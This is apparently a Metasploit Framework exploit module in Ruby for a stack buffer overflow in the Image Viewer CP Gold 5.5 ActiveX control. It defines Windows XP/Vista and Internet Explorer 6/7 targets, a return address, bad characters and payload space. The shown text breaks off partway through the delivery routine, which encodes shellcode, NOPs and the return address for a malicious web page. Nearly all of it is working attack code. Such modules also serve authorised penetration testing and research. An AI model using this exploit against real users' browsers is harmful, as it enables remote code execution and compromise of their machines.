##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Image Viewer CP Gold ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in NImage Viewer CP Gold ActiveX Control 5.5. When
sending an overly long string to the Image2PDF() property of ImageViewer2.ocx
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'bz1p (0xbz1p[<AT>]gmail.com)' ],
'Version' => '$Revision: 10429 $',
'References' =>
[
[ 'CVE', '-' ],
[ 'OSVDB', '-'],
[ 'BID', '-' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x03\x04\x05\x06",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DiscoveryDate' => 'Oct 15 2010',
'DisclosureDate' => 'Dec 2 2010',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))